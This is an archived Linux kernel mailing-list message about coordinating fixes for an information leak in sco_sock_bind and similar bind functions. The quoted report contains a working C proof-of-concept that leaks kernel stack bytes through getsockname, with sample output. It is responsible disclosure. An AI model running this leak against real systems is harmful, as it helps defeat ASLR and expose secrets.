netdev - Re: [Fwd: Fw: Information leak in sco_sock

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <CACT4Y+YPbFYAD4EhC76e=pbHanXTXZLbohARqhGpkjyX0ugf4Q@mail.gmail.com>
Date:	Fri, 15 Jan 2016 09:34:04 +0100
From:	Dmitry Vyukov <dvyukov@...gle.com>
To:	syzkaller <syzkaller@...glegroups.com>
Cc:	Marcel Holtmann <marcel@...tmann.org>,
	Gustavo Padovan <gustavo@...ovan.org>,
	Johan Hedberg <johan.hedberg@...il.com>,
	"David S. Miller" <davem@...emloft.net>,
	linux-bluetooth@...r.kernel.org, netdev <netdev@...r.kernel.org>,
	LKML <linux-kernel@...r.kernel.org>,
	Kostya Serebryany <kcc@...gle.com>,
	Alexander Potapenko <glider@...gle.com>,
	Sasha Levin <sasha.levin@...cle.com>,
	Eric Dumazet <edumazet@...gle.com>,
	Kees Cook <keescook@...gle.com>,
	Hannes Frederic Sowa <hannes@...essinduktion.org>,
	<"Ursula Braun1/Germany/IBM"@de.ibm.com>,
	linux-s390@...r.kernel.org,
	Lauro Ramos Venancio <lauro.venancio@...nbossa.org>,
	Aloisio Almeida Jr <aloisio.almeida@...nbossa.org>,
	Samuel Ortiz <sameo@...ux.intel.com>
Subject: Re: [Fwd: Fw: Information leak in sco_sock_bind]

On Fri, Jan 15, 2016 at 9:25 AM, Ursula Braun <ubraun@...ux.vnet.ibm.com> wrote:
> Hi Dmitry,
>
> thx for mentioning iucv_sock_bind here. I will provide the equivalent
> fix and add your name as "Reported-by" - if you do not object.

I do not object.

> Regards, Ursula Braun
>
> ----- Forwarded by Ursula Braun1/Germany/IBM on 15/01/2016 09:18 -----
>
> From:        Dmitry Vyukov <dvyukov@...gle.com>
> To:        Marcel Holtmann <marcel@...tmann.org>, Gustavo Padovan
> <gustavo@...ovan.org>, Johan Hedberg <johan.hedberg@...il.com>, "David
> S. Miller" <davem@...emloft.net>, linux-bluetooth@...r.kernel.org,
> netdev <netdev@...r.kernel.org>, LKML <linux-kernel@...r.kernel.org>,
> syzkaller <syzkaller@...glegroups.com>, Kostya Serebryany
> <kcc@...gle.com>, Alexander Potapenko <glider@...gle.com>, Sasha Levin
> <sasha.levin@...cle.com>, Eric Dumazet <edumazet@...gle.com>, Kees Cook
> <keescook@...gle.com>, Hannes Frederic Sowa
> <hannes@...essinduktion.org>, Ursula Braun1/Germany/IBM@...DE,
> linux-s390@...r.kernel.org, Lauro Ramos Venancio
> <lauro.venancio@...nbossa.org>, Aloisio Almeida Jr
> <aloisio.almeida@...nbossa.org>, Samuel Ortiz <sameo@...ux.intel.com>,
> Date:        15/12/2015 21:02
> Subject:        Information leak in sco_sock_bind
>
> Hello,
>
> The following program leads to leak of 6 bytes from kernel stack:
>
> #include <sys/types.h>
> #include <sys/socket.h>
> #include <linux/in.h>
> #include <linux/in6.h>
> #include <linux/socket.h>
> #include <linux/if.h>
> #include <errno.h>
> #include <stdio.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/stat.h>
> #include <fcntl.h>
>
> struct sockaddr_sco {
> sa_family_t     sco_family;
> char        sco_bdaddr[6];
> };
>
> #define BTPROTO_SCO 2
>
> int main(void)
> {
>        struct sockaddr sa;
>        struct sockaddr_sco sco_sa;
>        unsigned len, i, try;
>        int fd;
>
>        for (try = 0; try < 3; try++) {
>                fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
>                if (fd == -1)
>                        return;
>                switch (try) {
>                case 0:
>                break;
>                case 1:
>                sched_yield();
>                break;
>                case 2:
>                open("/dev/null", O_RDONLY);
>                }
>                memset(&sco_sa, 0, sizeof(sco_sa));
>                sco_sa.sco_family = AF_BLUETOOTH;
>                bind(fd, &sco_sa, 2);
>                len = sizeof(sa);
>                getsockname(fd, &sa, &len);
>                for (i = 0; i < len; i++)
>                        printf("%02x", ((unsigned char*)&sa)[i]);
>                printf("\n");
>        }
>        return 0;
> }
>
> Output:
> 1f00333e0088ffff
> 1f00c13e0088ffff
> 1f002081ffffffff
>
> The problem is that sco_sock_bind does not check sockaddr_len passed
> in, so it copies stack garbage from stack into the socket. This can
> defeat ASLR, leak crypto keys, etc.
> We've just fixed a similar issue in pptp_bind. The similar issue is in
> llcp_sock_bind and llcp_raw_sock_bind. And there seems to be the same
> bug in iucv_sock_bind, it is S390 specific, so I can't test it.
>
> Kees proposed to zero unused part of sockaddr in SyS_bind/SyS_connect,
> or add addr size to proto struct to prevent all such existing and
> future bugs.
>
>
>
>
> --
> You received this message because you are subscribed to the Google Groups "syzkaller" group.
> To unsubscribe from this group and stop receiving emails from it, send an email to syzkaller+unsubscribe@...glegroups.com.
> For more options, visit https://groups.google.com/d/optout.